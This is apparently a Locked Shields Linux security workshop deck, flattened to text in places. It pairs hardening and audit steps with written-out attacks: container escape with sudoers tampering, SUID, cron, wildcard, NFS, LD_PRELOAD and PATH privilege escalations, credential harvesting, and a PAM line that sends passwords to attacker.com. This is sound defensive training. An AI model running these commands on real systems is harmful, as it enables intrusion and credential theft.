https://workshop.3fs.si
February 8, 2026

| Timeline | |
|---|---|
| 08:00 | Locked Shields intro & security foundations |
| 08:30 | Linux internals: boot, kernel, libraries |
| 09:15 | coffee break |
| 09:30 | Users, authentication & filesystem |
| 10:45 | coffee break |
| 11:00 | Firewalls & network filtering |
| 12:00 | lunch break |
| 13:00 | Containers: isolation & escape techniques |
| 13:45 | Privilege escalation methodology |
| 14:15 | coffee break |
| 14:30 | Exploitation & persistence |
| 15:45 | wrap up |
| Date | Event |
|---|---|
| 31.03 – 02.04. | BT Webinars |
| 15.-16.04. | Familiarisation (FAM) period |
| 21.-23.05. | LS26 Main Execution |
Attack surfaces
4 phases:
Important
500+ different attacks
Confidentiality
Only authorized users can access data
“Can they read it?”
Integrity
Data is accurate and unmodified
“Can they change it?”
Availability
Systems and data are accessible when needed
“Can they break it?”
Note
Every security decision maps back to protecting one or more of these three.
/etc/shadow 644, SSH keys 755, DB credentials in config files/proc/PID/maps, swap, core dumpschmod 600 private keys, chmod 640 /etc/shadow/usr/bin/sudo or /usr/bin/ssh with trojanized versions/var/log/auth.log to erase evidenceImportant
debsums, rpm -Va) and centralized logging.debsums/rpm -V:(){:|:&};:)/var/log or /tmpImportant
| Layer | Linux controls |
|---|---|
| Network | iptables/nftables, fail2ban |
| OS | file permissions, mount options |
| Mandatory access | SELinux, AppArmor |
| Application | input validation, sandboxing |
| Data | encryption, hashing, backups |
| Monitoring | auditd, syslog, AIDE |
Important
| Mechanism | Example |
|---|---|
| sudo | user ALL=(ALL) /usr/bin/systemctl restart nginx |
| Capabilities | setcap cap_net_bind_service=+ep app – port 80 without root |
| Service users | www-data, postgres – no shell |
| Namespaces | containers isolate PID, network, filesystem |
| File permissions | /etc/shadow root:shadow, mode 640 |
Tip
ALL=(ALL) NOPASSWD: ALL when a specific command suffices.| Pillar | Purpose | Linux tools |
|---|---|---|
| Authentication | Who are you? | PAM, SSH keys, /etc/shadow, LDAP |
| Authorization | What can you do? | sudoers, permissions, ACLs, SELinux |
| Accounting | What did you do? | auditd, syslog, /var/log/auth.log |
Note
Important
| Ring | Privilege Level |
|---|---|
| Ring 0 | kernel mode |
| Ring 1/2 | unused or drivers execution |
| Ring 3 | user mode |

| class | subsystem |
|---|---|
| crypto | cryptographic interfaces |
| debug | kernel debugging interfaces |
| dev | device specific information |
| fs | global and specific filesystem tunables |
| kernel | global kernel tunables |
| net | network tunables |
| sunrpc | sun remote procedure call (nfs) |
| user | user namespace limits |
| vm | tuning and management of memory, buffer, and cache |
| Setting | Why |
|---|---|
kernel.randomize_va_space |
full ASLR – blocks memory exploits |
net.ipv4.ip_forward |
prevents packet forwarding |
net.ipv4.tcp_syncookies |
SYN flood protection |
net.ipv4.conf.all.accept_redirects |
blocks route hijacking |
fs.suid_dumpable |
no core dumps from SUID binaries |
Source: dev-sec.io hardening defaults
Important
modules_disabled=1 is irreversible until reboot. Ensure all required modules are loaded first.
Important
Linux capabilities break root privileges into granular units, so processes can have only the specific permissions they need.
Important
Libraries are collections of reusable code that programs can use:
Shared libraries (.so)
Static linking
Pros: portable, no version conflicts Cons: huge binaries, no security updates
Note
Almost all Linux programs use dynamic linking. Static binaries are security red flags in incident response.
Every interaction with the OS goes through syscalls:
| User code | libc function | Syscall | Kernel handler |
|---|---|---|---|
printf("hi") |
write() |
syscall 1 |
sys_write() |
fopen("/etc/passwd") |
open() |
syscall 2 |
sys_open() |
malloc(1024) |
brk() or mmap() |
syscall 12/9 |
sys_brk() |
socket() |
socket() |
syscall 41 |
sys_socket() |
Important
Security boundary: userspace programs cannot bypass syscalls. The kernel enforces all permissions here.
glibc (GNU C Library) is the most critical userspace library:
printf, malloc, strcmp, pthread_createImportant
Compromising libc = game over. Every program uses it. Attackers target libc for system-wide persistence.
Every process depends on a handful of trusted libraries:
| Library | Role | Compromise impact |
|---|---|---|
| libc.so (glibc) | C library, syscall wrappers | Total system control |
| ld-linux.so | Dynamic linker, loads all other libraries | Controls what code runs |
| libnss_.so | Name resolution backends | Hijack user/host lookups |
| libpam.so | Authentication framework | Backdoor all logins |
The dynamic linker (ld.so) loads libraries in this order:
LD_PRELOAD –env variable, highest priority (exploited via sudo)RPATH/RUNPATH –compiled into the binaryLD_LIBRARY_PATH –env variable/etc/ld.so.cache –generated by ldconfig from /etc/ld.so.conf.d//lib, /usr/libTip
We exploit LD_PRELOAD and ld.so.conf.d for privilege escalation later in the exploit & harden section.
| Definition | File |
|---|---|
| User | /etc/passwd |
| Group | /etc/group |
| Password | /etc/shadow |
| field | value |
|---|---|
| username | john |
| password placeholder | x |
| user id (uid) | 1001 |
| group id (gid) | 1001 |
| user info | John Doe |
| home directory | /home/john |
| default shell | /bin/bash |
Note
The password field (‘x’) indicates that the encrypted password is stored in the /etc/shadow file for security purposes.
| field | value |
|---|---|
| username | john |
| password | encrypted password hash |
| last password change | 18891 (days since the unix epoch) |
| password expiry | 0 (no password expiration) |
| password change restriction | 99999 (no restriction) |
| account inactivity | 7 (inactivity allowed) |
| account expiry | no expiry date set |
Note
Encrypted password or placeholder (can be an asterisk (*) or exclamation mark (!) for empty passwords.
Note
man 5 crypt for full algorithm details.
/etc/nsswitch.conf controls lookup order for each databaselibnss_*.so) → backend# Diagnostic tool: getent queries NSS directly
getent passwd root # lookup single user
getent hosts example.com # follows nsswitch.conf order
getent group docker # check group membership
# Find the actual NSS modules on disk
ls /lib/x86_64-linux-gnu/libnss_*.so.2
# libnss_files.so.2 libnss_dns.so.2 libnss_sss.so.2 ...Important
NSS modules are shared libraries loaded into every process that calls getent/getpwnam/gethostbyname. A compromised libnss_files.so = system-wide backdoor.
pam_unix.so) with a backdoored version, every login, sudo, and SSH session passes through their codemkfs options set filesystem parameters/etc/fstab defines mount options (noexec, nosuid, nodev)| directory | description |
|---|---|
| /dev | device files. |
| /proc | process information. |
| /sys | kernel and device information. |
| /mnt | temporary mount points. |
| /opt | optional software. |
| /usr | user binaries and libraries. |
| /lib | system libraries |
| /home | user home directories |
| /root | root user home directory |
Note
SUID/SGID apply to executables, sticky bit applies to directories.
| Attribute | Description |
|---|---|
| append only (a) | Append only mode |
| no atime updates (A) | No access time updates |
| compressed (c) | File is compressed |
| no copy on write (C) | No copy on write |
| no dump (d) | Do not include in backups (dump) |
| synchronous directory updates (D) | Synchronous directory updates |
| immutable (i) | Immutable |
| data journalling (j) | Data journalling |
| secure deletion (s) | Secure deletion (shred) |
| synchronous updates (S) | Synchronous updates |
Tip
Quick hardening: add noexec,nosuid,nodev to /tmp, /var/tmp, /dev/shm in /etc/fstab. Apply: mount -o remount,noexec,nosuid,nodev /tmp.
Important
Note
tables
filter – default, accept/drop decisionsnat – network address translationmangle – packet header modificationraw – bypass connection trackingchains (filter table)
INPUT – packets destined for this hostOUTPUT – packets originating from this hostFORWARD – packets routed through this hosttargets
ACCEPT / DROP / REJECT / LOGTip
DROP silently discards – the sender gets no response. REJECT sends back an ICMP error. Attackers can distinguish between them.# Allow rules FIRST (before setting DROP policy!)
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
# Default policy: drop everything
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPTImportant
ESTABLISHED,RELATED rule, return traffic gets dropped.INPUT DROP before adding allow rules over SSH, you will lock yourself out instantly.# Allow outgoing traffic only from specific users
iptables -A OUTPUT -m owner --uid-owner root -j ACCEPT
iptables -A OUTPUT -m owner --uid-owner www-data -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -m owner --uid-owner postgres -p tcp --dport 5432 -j ACCEPT
# Drop all other outgoing traffic from user processes
iptables -A OUTPUT -m owner --uid-owner 1000:65534 -j DROPNote
-j CHAIN_NAME, return with RETURNnft replaces iptables, ip6tables, arptables, ebtables#!/usr/sbin/nft -f
flush ruleset
table inet firewall {
chain input {
type filter hook input priority 0; policy drop;
iif lo accept
ct state established,related accept
tcp dport { 22, 80, 443 } accept
limit rate 5/minute log prefix "nft-dropped: "
}
chain forward { type filter hook forward priority 0; policy drop; }
chain output { type filter hook output priority 0; policy accept; }
}Tip
/etc/nftables.conf and enable with systemctl enable nftables.nft -f /etc/nftables.conf – no gap in protection during reload.open – service listening, firewall allows itclosed – no service, but firewall allows (REJECT or RST)filtered – firewall drops silently (DROP)Important
| Task | iptables | nftables |
|---|---|---|
| List rules | iptables -L -n -v |
nft list ruleset |
| Allow port | iptables -A INPUT -p tcp --dport 80 -j ACCEPT |
nft add rule inet filter input tcp dport 80 accept |
| Drop by IP | iptables -A INPUT -s 10.0.0.5 -j DROP |
nft add rule inet filter input ip saddr 10.0.0.5 drop |
| Default drop | iptables -P INPUT DROP |
set policy drop in chain declaration |
| Save/restore | iptables-save / iptables-restore |
nft list ruleset / nft -f |
| Flush all | iptables -F |
nft flush ruleset |
| Port set | N/A (use ipset) | tcp dport { 22, 80, 443 } accept |
Important
iptables may be iptables-nft (check with iptables -V). Pick one backend and never mix them.It is still just a process.
Important
A container shares the host kernel. There is no hypervisor. There is no hardware virtualization. It is a process with fancy isolation—not a VM.
Isolation
Namespaces limit what a process can see
Encapsulation
Chroot/overlay limits what a process can access
Resource Control
Cgroups limit what a process can use
Note
Each namespace type (PID, network, mount, user, UTS, IPC, cgroup, time) provides a separate axis of isolation.
--privileged flag = no isolation at allImportant
These three explain 90% of container security incidents.
USER directive)--privileged; drop capabilities (--cap-drop ALL)--read-only); pin images by digestIf /var/run/docker.sock is mounted inside the container, the game is over:
Important
Never mount the Docker socket into a container. It is equivalent to giving root access to the host.
From inside a --privileged container:
# 1. Find the host's root disk device
fdisk -l # Look for the main disk (e.g., /dev/sda1, /dev/nvme0n1p1)
# 2. Mount the host's root filesystem
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
# 3. Full access to host filesystem!
cat /mnt/host/etc/shadow # Read sensitive files
chroot /mnt/host # Get a shell as host root
# 4. Persist access (e.g., add SSH key or create user)
echo 'attacker ALL=(ALL) NOPASSWD:ALL' >> /mnt/host/etc/sudoersNote
Privileged containers have access to all host devices in /dev. This allows mounting the host’s root filesystem directly and escaping container isolation entirely.
Any user in the docker group can become root:
Important
Adding a user to the docker group = giving them root access. Same applies to lxd and podman groups.
If the Docker daemon listens on TCP without authentication:
Important
ss -tlnp | grep 2375 – if it is listening, the host is compromised.| Escape Vector | Root Cause | One-Line Fix |
|---|---|---|
| Docker socket mount | Socket gives API access | Don’t mount /var/run/docker.sock |
| Privileged container | All capabilities granted | Never use --privileged |
| Docker group | Group = daemon access | Remove users from docker group |
| Exposed Docker API | TCP without TLS | Bind to socket only, or use TLS |
| CAP_SYS_ADMIN | Excessive capability | --cap-drop ALL --cap-add only needed |
Important
Tip
Note
Important
sudo -l is the single most valuable enumeration command. Always run it first.Note
s in -rwsr-xr-x replaces the owner execute bit, indicating SUID./tmp, /opt, /home)Tip
| Capability | What it grants |
|---|---|
| CAP_SYS_ADMIN | Broad admin operations (mount, bpf, etc.) |
| CAP_SYS_MODULE | Load/unload kernel modules |
| CAP_DAC_READ_SEARCH | Bypass file read permission checks |
| CAP_SETUID | Change process UIDs arbitrarily |
| CAP_NET_RAW | Use raw sockets (packet sniffing) |
| CAP_SYS_PTRACE | Trace/debug any process |
Important
cap_setuid+ep on an interpreter (python, perl, ruby) is equivalent to SUID root – instant privilege escalation.Tip
setcap -r /path/to/binaryTip
no_root_squash# World-writable files and directories
find / -writable -type f 2>/dev/null | grep -v proc
find / -writable -type d 2>/dev/null
# Files owned by current user outside home
find / -user $(whoami) -not -path "/home/*" \
-not -path "/proc/*" -type f 2>/dev/null
# Writable files in /etc
find /etc -writable -type f 2>/dev/nullImportant
/etc/passwd, /etc/shadow, or /etc/sudoers is an immediate win for attackers.# History files
cat ~/.bash_history ~/.mysql_history 2>/dev/null
# Config files with passwords
grep -r "password" /etc/ 2>/dev/null
grep -r "PASSWORD" /opt/ 2>/dev/null
# SSH keys
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
# Environment and process info
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i passTip
.env files in web app directories (/var/www, /opt).| Group | Exploitation vector |
|---|---|
| docker | Mount host filesystem in container |
| lxd | Create privileged container with host root access |
| disk | Direct read/write to block devices |
| adm | Read log files (credential harvesting) |
| shadow | Read /etc/shadow (crack password hashes) |
| video | Access framebuffer (screenshot capture) |
| root | May have access to sensitive root-owned files |
Important
docker group is effectively equivalent to root access on the host.Tip
docker and lxd groups. Use rootless Docker/Podman instead.disk group – raw block device access
chattr +iImportant
disk or shadow groups. Audit with getent group disk shadow docker lxd.Important
sh on production systems. Pre-download tools.Tip
pspy to discover cron jobs that do not appear in crontab files (systemd timers, at jobs).Manual checks
sudo -lid and groupsfind / -perm -4000getcap -r /cat /etc/crontabss -tlnpcat /etc/exportsAutomated tools
Tip
Note
NOPASSWD entries (no password required)(ALL) ALL| Category | What it does |
|---|---|
| Shell | Spawn an interactive shell |
| SUID | Exploit setuid bit for root |
| Sudo | Abuse sudo permissions |
| Capabilities | Leverage Linux capabilities |
| File read/write | Extract or create/modify files |
| File upload/download | Transfer files to/from target |
Tip
Important
# Edit sudoers safely (syntax validation)
visudo
# BAD: overly permissive
student ALL=(ALL) NOPASSWD: ALL
# GOOD: specific commands only, no shell escapes
student ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart nginx
student ALL=(ALL) NOPASSWD: /usr/bin/journalctl -u nginx
# GOOD: use PASSWD (require authentication)
student ALL=(ALL) /usr/bin/apt update, /usr/bin/apt upgradeTip
NOPASSWD: ALL. Specify exact commands with full paths.visudo to edit – it validates syntax before saving.env_keep is misconfigured (env_reset is the safe default)Tip
Defaults env_reset is set in /etc/sudoers.LD_PRELOAD, LD_LIBRARY_PATH, or PYTHONPATH to env_keep.# Find all SUID binaries on the system
find / -perm -4000 -type f 2>/dev/null
# Typical safe SUID binaries (expected on most systems):
# /usr/bin/passwd, /usr/bin/sudo, /usr/bin/su
# /usr/bin/mount, /usr/bin/umount, /usr/bin/chfn
# /usr/bin/chsh, /usr/bin/newgrp, /usr/bin/gpasswd
# Suspicious SUID binaries (investigate these):
# /usr/bin/python3, /usr/bin/vim, /usr/bin/find
# /usr/local/bin/*, /opt/*, /home/*/usr/local/bin or /opt deserve close attention# Example: /usr/bin/find with SUID bit set
find . -exec /bin/bash -p \; -quit
# The -p flag preserves the effective UID (root)
# Example: /usr/bin/python3 with SUID
python3 -c 'import os; os.setuid(0); os.execvp("/bin/bash", ["bash", "-p"])'
# Example: /usr/bin/cp with SUID
# Copy /etc/shadow to readable location
cp /etc/shadow /tmp/shadow_copy
# Example: custom SUID binary in /opt
/opt/custom_backup # may have buffer overflow or command injectionImportant
-p flag on bash preserves the effective UID, preventing bash from dropping SUID privileges.Tip
nosuid mount option on /tmp, /home, /var/tmp.# Scenario: root cron job runs a world-writable script
cat /etc/crontab
# */5 * * * * root /opt/scripts/backup.sh
ls -la /opt/scripts/backup.sh
# -rwxrwxrwx 1 root root 234 ... /opt/scripts/backup.sh
# Attack: inject a reverse shell into the writable script
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' \
>> /opt/scripts/backup.sh
# Wait for cron to execute, then:
/tmp/rootbash -pImportant
Note
This attack exploits how shell globbing works – filenames that start with -- are treated as command options by the target program. As a sysadmin, audit any cron job that uses * in commands run as root.
tar czf /tmp/backup.tar.gz *# Vulnerable cron entry:
# */5 * * * * root cd /var/www/html && tar czf /tmp/backup.tar.gz *
# Create files that tar interprets as arguments
cd /var/www/html
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > shell.sh
chmod +x shell.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
# When tar runs, it processes:
# tar czf /tmp/backup.tar.gz --checkpoint=1 \
# --checkpoint-action=exec=sh shell.sh (other files...)Tip
tar, rsync, chown, chmod, and other utilities.# Fix 1: use absolute paths, no wildcards
# BAD: cd /var/www && tar czf /tmp/backup.tar.gz *
# GOOD: tar czf /tmp/backup.tar.gz /var/www/html/
# Fix 2: restrict script and cron directory permissions
chown root:root /opt/scripts/backup.sh && chmod 700 /opt/scripts/backup.sh
chmod 600 /etc/crontab && chmod 700 /etc/cron.d/
# Fix 3: limit who can use cron (deny-by-default)
echo "root" > /etc/cron.allow && chmod 600 /etc/cron.allowTip
700 owned by root.nobodyno_root_squash preserves root identity across the NFS mount# On attacker machine (as root):
# 1. Mount the NFS share
mkdir /tmp/nfs_mount
mount -t nfs target-ip:/srv/shared /tmp/nfs_mount
# 2. Create a SUID shell binary
cp /bin/bash /tmp/nfs_mount/rootbash
chmod +s /tmp/nfs_mount/rootbash
# 3. On the target machine (as unprivileged user):
/srv/shared/rootbash -p
# Now running as rootImportant
no_root_squash + writable NFS share = trivial root shell via SUID binary.Tip
root_squash (or all_squash). Restrict to specific IP ranges, never *.nosuid on the client side for defense-in-depth.# Check if LD_PRELOAD is preserved
sudo -l
# Matching Defaults entries: env_keep += LD_PRELOAD
# Create malicious shared library (preload.c):
# #include <stdio.h>
# #include <stdlib.h>
# #include <unistd.h>
#
# void _init() {
# unsetenv("LD_PRELOAD");
# setuid(0);
# setgid(0);
# execl("/bin/bash", "bash", "-p", NULL);
# }
# Compile the shared library
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
# Execute with sudo (LD_PRELOAD preserved)
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/findNote
_init function runs when the library is loaded, before main(). It clears LD_PRELOAD to avoid recursion, sets UID to root, and spawns a bash shell.LD_PRELOAD via env_keep.Tip
/etc/ld.so.conf.d/ is owned by root with 755 permissions.ldconfig -p to audit loaded library paths.# Fix 1: ensure env_reset is active (clears LD_PRELOAD)
visudo # Add or verify: Defaults env_reset
# Fix 2: remove LD_PRELOAD from env_keep if present
# Fix 3: protect ld.so configuration
chown root:root /etc/ld.so.conf /etc/ld.so.conf.d/
chmod 644 /etc/ld.so.conf && chmod 755 /etc/ld.so.conf.d/
# Fix 4: verify no unexpected library paths
ldconfig -p | head -20Tip
Defaults env_reset in sudoers is the primary defense against LD_PRELOAD attacks.LD_PRELOAD or LD_LIBRARY_PATH to env_keep.# Tool: logrotten (automated logrotate exploitation)
# https://github.com/whotwagner/logrotten
# Prepare a payload
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /tmp/payload
# Run logrotten targeting writable log directory
./logrotten -p /tmp/payload /var/log/nginx/access.log
# Wait for logrotate to trigger (or trigger manually if testing)
# Then execute the SUID bash
/tmp/rootbash -pImportant
# Fix 1: ensure log directories are owned by root
chown root:root /var/log/nginx && chmod 755 /var/log/nginx
# Fix 2: use 'su' directive in logrotate config
# /var/log/nginx/*.log { su root adm; daily; ... }
# Fix 3: apply restrictive permissions on logrotate configs
chmod 644 /etc/logrotate.d/* && chown root:root /etc/logrotate.d/*Tip
su directive in logrotate configs to control ownership.postrotate scripts.# Vulnerable script run by root (via cron or sudo):
#!/bin/bash
service nginx restart # uses relative path!
backup_files
# Attack: hijack 'service' by prepending writable dir to PATH
export PATH=/tmp:$PATH
echo '#!/bin/bash' > /tmp/service
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /tmp/service
chmod +x /tmp/service
# When the script runs as root, it executes /tmp/service insteadTip
/usr/sbin/service not service.PATH explicitly at the top of privileged scripts.Defaults secure_path in sudoers to enforce a safe PATH.# Check if /etc/passwd is writable
ls -la /etc/passwd
# Generate a password hash
openssl passwd -1 -salt xyz password123
# Output: $1$xyz$f3ABg5sVJCzMsSn/VKcd0.
# Add a root-level user to /etc/passwd
echo 'hacker:$1$xyz$f3ABg5sVJCzMsSn/VKcd0.:0:0::/root:/bin/bash' \
>> /etc/passwd
# Switch to the new root user
su hacker
# Password: password123Tip
/etc/passwd must be 644 owned by root:root./etc/shadow must be 640 owned by root:shadow.chattr +i on both files to make them immutable.Important
Never run ldd on untrusted binaries – it can execute code. Use objdump -p binary | grep NEEDED instead.
# Find SUID binaries and check their library dependencies
find / -perm -4000 -type f 2>/dev/null
ldd /usr/local/bin/custom_suid_binary
# Look for: libcustom.so => not found
# If you can create the missing library in a searched path:
# Write a .c file with _init() that calls setuid(0) + exec bash
gcc -shared -fPIC -o /tmp/libcustom.so /tmp/libcustom.cTip
/etc/ld.so.conf.d/ are root-owned.RPATH/RUNPATH auditing to detect hardcoded library paths.| Vector | Key check | Fix |
|---|---|---|
| Sudo | sudo -l |
Restrict to specific commands |
| SUID | find / -perm -4000 |
chmod u-s, use capabilities |
| Cron | cat /etc/crontab |
No wildcards, root-owned scripts |
| NFS | cat /etc/exports |
root_squash / all_squash |
| LD_PRELOAD | sudo -l (env_keep) |
Defaults env_reset |
| Logrotate | writable log dirs | su directive, root-owned dirs |
| PATH | relative paths in scripts | Use absolute paths |
| /etc/passwd | ls -la /etc/passwd |
644 root:root + chattr +i |
Tip
# Attacker scenario (simplified concept):
# 1. Modify PAM source to accept a hardcoded password
# 2. Compile the modified pam_unix.so
# 3. Replace the legitimate module:
cp /tmp/backdoored_pam_unix.so \
/lib/x86_64-linux-gnu/security/pam_unix.so
# Now the attacker can log in as any user with the magic password
# while legitimate users continue to authenticate normallyImportant
dpkg -V libpam-modules 2>/dev/null || rpm -Va pam. Run this at the start of any incident response.# Add credential logging to PAM SSH config
# Attacker adds this line to /etc/pam.d/sshd:
# auth optional pam_exec.so quiet /tmp/.log_creds.sh
# The script captures username and password:
# #!/bin/bash
# echo "$(date): user=$PAM_USER pass=$(cat -)" >> /tmp/.auth.log
# Or use pam_exec to send credentials to a remote server:
# auth optional pam_exec.so quiet /usr/bin/curl \
# -d "user=$PAM_USER" http://attacker.com/credsNote
pam_exec.so is a legitimate PAM module that runs arbitrary scripts during authentication.optional keyword means authentication succeeds even if this module fails.# 1. Verify PAM module integrity
dpkg -V libpam-modules 2>/dev/null # Debian/Ubuntu
rpm -Va pam 2>/dev/null # RHEL/CentOS
# 2. Check hash of pam_unix.so
sha256sum /lib/x86_64-linux-gnu/security/pam_unix.so
# 3. Check for unexpected pam_exec entries
grep -r "pam_exec" /etc/pam.d/
# 4. Audit PAM changes
auditctl -w /etc/pam.d/ -p wa -k pam-config
auditctl -w /lib/x86_64-linux-gnu/security/ -p wa -k pam-modulesTip
dpkg -V / rpm -Va detects modified files instantly. Set up auditd rules for PAM on day one.# Check for UID 0 users (should only be root)
awk -F: '$3 == 0 {print $1}' /etc/passwd
# Check for users with login shells that shouldn't have one
awk -F: '$7 !~ /nologin|false/ {print $1, $7}' /etc/passwd
# Check sudo/wheel group membership
getent group sudo && getent group wheel
# Monitor for changes
auditctl -w /etc/passwd -p wa -k user-changes
auditctl -w /etc/shadow -p wa -k user-changesTip
/etc/passwd against baseline.# Check all authorized_keys files
find / -name "authorized_keys" -exec cat {} \; 2>/dev/null
cat /root/.ssh/authorized_keys
# Check for AuthorizedKeysFile redirected to hidden location
grep -i "AuthorizedKeysFile" /etc/ssh/sshd_config
# Check for rogue SSH daemon on non-standard port
ss -tlnp | grep sshd
# Monitor changes
auditctl -w /root/.ssh/ -p wa -k ssh-backdoorImportant
AuthorizedKeysFile in sshd_config – attackers may redirect it to a hidden location.# Check all crontabs (system and user)
cat /etc/crontab
ls -la /etc/cron.d/
for user in $(cut -f1 -d: /etc/passwd); do
crontab -l -u "$user" 2>/dev/null
done
# Check for hidden systemd services
systemctl list-unit-files --type=service | grep enabled
ls -la /etc/systemd/system/
# Look for unusual timer units and at jobs
systemctl list-timers --all
atqTip
/etc/systemd/system/ for recently created unit files.# Compare SUID files against baseline
find / -perm -4000 -type f 2>/dev/null | sort > /tmp/suid_current.txt
diff /tmp/suid_baseline.txt /tmp/suid_current.txt
# Compare capabilities against baseline
getcap -r / 2>/dev/null | sort > /tmp/caps_current.txt
diff /tmp/caps_baseline.txt /tmp/caps_current.txt
# SUID in unusual locations = compromise
find /tmp /var/tmp /dev/shm /home -perm -4000 -type f 2>/dev/null
# Monitor with auditd
auditctl -a always,exit -F arch=b64 -S chmod -S fchmod -S fchmodat -k suid-changesTip
Note
Restricted shells (rbash) are trivially bypassable. Do not treat them as a security boundary – always combine with AppArmor profiles or containers.
# IFS manipulation (Internal Field Separator)
IFS=/ ; cmd=bin${IFS}bash ; $cmd
# BASH_ENV injection
export BASH_ENV=/tmp/evil.sh && bash
# Hex encoding
$(printf '\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68')
# Using interpreters
python3 -c 'import pty; pty.spawn("/bin/bash")'
perl -e 'exec "/bin/bash";'
# vi/vim escape: :set shell=/bin/bash then :shell/tmp, /var/tmp, /dev/shm – but it can be bypassed# Verify noexec is set
mount | grep noexec
# Bypass 1: use an interpreter to run scripts
bash /tmp/evil.sh # works -- bash reads the file
python3 /tmp/exploit.py # works -- python reads the file
# Bypass 2: memfd_create (execute from memory, no file needed)
# Attacker uses memfd_create syscall -- bypasses all mount options
# Bypass 3: /dev/shm may not have noexec
cp /tmp/binary /dev/shm/binary && chmod +x /dev/shm/binary
/dev/shm/binary# Layer 1: noexec on tmpfs partitions
mount -o remount,noexec,nosuid,nodev /tmp
mount -o remount,noexec,nosuid,nodev /var/tmp
mount -o remount,noexec,nosuid,nodev /dev/shm
# Make permanent in /etc/fstab:
# tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0
# Layer 2: seccomp -- block memfd_create to prevent memory-based execution
# (Applied via container runtime or custom seccomp profile)
# Layer 3: AppArmor profile restricting file execution
# /etc/apparmor.d/usr.sbin.myservice
# deny /tmp/** mx,
# deny /dev/shm/** mx,Tip
noexec,nosuid,nodev to all temporary filesystems.Tip
/dev/shm with noexec in containers. Limit size to prevent staging toolkits.User and auth checks
/etc/passwddpkg -V)authorized_keys/etc/sudoers.d/System checks
. prefix)Tip
# Monitor critical authentication and system files
auditctl -w /etc/passwd -p wa -k identity
auditctl -w /etc/shadow -p wa -k identity
auditctl -w /etc/sudoers -p wa -k sudo-changes
auditctl -w /etc/sudoers.d/ -p wa -k sudo-changes
auditctl -w /etc/pam.d/ -p wa -k pam-changes
auditctl -w /root/.ssh/ -p wa -k ssh-root
auditctl -w /etc/crontab -p wa -k cron-changes
auditctl -w /etc/cron.d/ -p wa -k cron-changes
ausearch -k identity -ts recent # search recent eventsTip
/etc/audit/rules.d/.Important
